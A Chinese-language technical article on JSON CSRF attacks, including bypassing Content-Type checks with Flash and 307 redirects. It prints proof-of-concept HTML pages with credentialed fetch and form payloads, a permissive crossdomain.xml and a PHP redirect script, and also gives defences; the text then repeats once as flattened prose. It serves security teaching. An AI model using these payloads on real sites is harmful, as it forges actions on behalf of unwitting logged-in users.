CSRF(跨站点请求伪造)在Flash中的利用
字数 1191 2025-08-18 11:37:03

CSRF(跨站点请求伪造)在Flash中的利用技术分析

0x00 前言

CSRF(Cross-site request forgery)跨站请求伪造,是一种对网站的恶意利用技术。与XSS不同,CSRF通过伪装来自受信任用户的请求来利用受信任的网站。CSRF攻击被认为比XSS更具危险性,因为:

  • 浏览器请求会自动包含与网站相关的凭证(会话cookie、IP地址、Windows域凭证等)
  • CSRF攻击往往难以防范且防范资源较少

0x01 主要攻击场景

场景1:服务器仅检查JSON数据格式

  • 服务器查找JSON格式的数据
  • 不验证Content-Type头部
  • 攻击方法:使用Fetch请求或表单构造JSON数据

场景2:服务器验证JSON数据格式和Content-Type

  • 服务器要求数据为JSON格式
  • 验证Content-Type为application/json
  • 攻击方法:使用Flash和307重定向技术

开发案例1:仅验证JSON格式的攻击方法

使用Fetch请求

<html>
<title>JSON CSRF POC</title>
<body>
<center>
<h1> JSON CSRF POC </h1>
<script>
fetch('http://vul-app.com', {
  method: 'POST', 
  credentials: 'include', 
  headers: {'Content-Type': 'text/plain'}, 
  body: '{"name":"attacker","email":"attacker.com"}'
});
</script>
<form action="#">
<input type="button" value="Submit" />
</form>
</center>
</body>
</html>

使用表单构造JSON数据

<html>
<title>JSON CSRF POC</title>
<center>
<h1> JSON CSRF POC </h1>
<form action=http://vul-app.com method=post enctype="text/plain">
<input name='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"' value='test"}' type='hidden'>
<input type=submit value="Submit">
</form>
</center>
</html>

开发案例2:验证JSON格式和Content-Type的攻击方法

攻击要求

  1. 精心制作的Flash文件(.swf)
  2. 跨域XML文件(crossdomain.xml)
  3. 带有307状态码的PHP文件

攻击步骤

  1. 创建包含JSON数据的Flash文件
  2. 在攻击者网站根目录放置crossdomain.xml
  3. 创建307重定向的PHP文件

crossdomain.xml内容

<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>

307重定向PHP文件

<?php
// redirect automatically
header("Location: https://victim.com/user/endpoint/", true, 307);
?>

攻击原理

  • Flash文件请求PHP文件
  • PHP文件返回307重定向到目标端点
  • 307重定向会将Flash文件中的JSON数据一并POST到目标端点
  • 浏览器中需要安装Flash插件才能执行此攻击

注意事项

  1. 这些攻击方法仅适用于:
    • 应用程序仅依赖JSON格式数据或Content-Type检查
    • 没有额外的CSRF token或Referer检查机制
  2. 使用Flash的攻击方法需要浏览器安装Flash插件
  3. 如果Flash文件和重定向页面在同一域,则不需要crossdomain.xml文件

防御建议

  1. 实施CSRF token机制
  2. 检查Referer头部
  3. 对于JSON API,避免仅依赖Content-Type检查
  4. 禁用不必要的Flash内容
  5. 实施严格的CORS策略

工具推荐

  1. 使用FFDec编辑和编译Flash文件
  2. Burpsuite的Engagement Tools可用于构造基本CSRF POC

参考文献

  1. http://research.rootme.in/forging-content-type-header-with-flash
  2. http://blog.opensecurityresearch.com/2012/02/json-csrf-with-parameter-padding.html
CSRF(跨站点请求伪造)在Flash中的利用技术分析 0x00 前言 CSRF(Cross-site request forgery)跨站请求伪造,是一种对网站的恶意利用技术。与XSS不同,CSRF通过伪装来自受信任用户的请求来利用受信任的网站。CSRF攻击被认为比XSS更具危险性,因为: 浏览器请求会自动包含与网站相关的凭证(会话cookie、IP地址、Windows域凭证等) CSRF攻击往往难以防范且防范资源较少 0x01 主要攻击场景 场景1:服务器仅检查JSON数据格式 服务器查找JSON格式的数据 不验证Content-Type头部 攻击方法:使用Fetch请求或表单构造JSON数据 场景2:服务器验证JSON数据格式和Content-Type 服务器要求数据为JSON格式 验证Content-Type为application/json 攻击方法:使用Flash和307重定向技术 开发案例1:仅验证JSON格式的攻击方法 使用Fetch请求 使用表单构造JSON数据 开发案例2:验证JSON格式和Content-Type的攻击方法 攻击要求 精心制作的Flash文件(.swf) 跨域XML文件(crossdomain.xml) 带有307状态码的PHP文件 攻击步骤 创建包含JSON数据的Flash文件 在攻击者网站根目录放置crossdomain.xml 创建307重定向的PHP文件 crossdomain.xml内容 307重定向PHP文件 攻击原理 Flash文件请求PHP文件 PHP文件返回307重定向到目标端点 307重定向会将Flash文件中的JSON数据一并POST到目标端点 浏览器中需要安装Flash插件才能执行此攻击 注意事项 这些攻击方法仅适用于: 应用程序仅依赖JSON格式数据或Content-Type检查 没有额外的CSRF token或Referer检查机制 使用Flash的攻击方法需要浏览器安装Flash插件 如果Flash文件和重定向页面在同一域,则不需要crossdomain.xml文件 防御建议 实施CSRF token机制 检查Referer头部 对于JSON API,避免仅依赖Content-Type检查 禁用不必要的Flash内容 实施严格的CORS策略 工具推荐 使用FFDec编辑和编译Flash文件 Burpsuite的Engagement Tools可用于构造基本CSRF POC 参考文献 http://research.rootme.in/forging-content-type-header-with-flash http://blog.opensecurityresearch.com/2012/02/json-csrf-with-parameter-padding.html